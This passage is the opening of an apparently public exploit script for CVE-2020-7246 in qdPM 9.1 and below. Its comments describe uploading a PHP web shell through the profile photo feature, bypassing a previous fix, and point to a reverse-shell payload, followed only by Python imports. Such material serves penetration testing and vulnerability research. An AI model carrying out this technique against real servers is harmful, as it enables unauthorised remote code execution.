# Title: qdPM Webshell Upload + RCE Exploit (qdPMv9.1 and below) (CVE-2020-7246)
# Author: Tobin Shields (@TobinShields)
#
# Description: This is an exploit to automatically upload a PHP web shell to
# the qdPM platform via the "upload a profile photo" feature.
# This method also bypasses the fix put into place from a previous CVE
#
# Usage: In order to leverage this exploit, you must know the credentials of
# at least one user. Then, you should modify the values highlighted below.
# You will also need a .php web shell payload to upload. This exploit
# was built and tested using the PHP script built by pentestmonkey:
# https://github.com/pentestmonkey/php-reverse-shell
#-------------------------------------------------------------------------------------
# Imports
from requests import Session
from bs4 import BeautifulSoup as bs
import socket
from multiprocessing import Process
import time
# CHANGE THESE VALUES-----------------------------------------------------------------
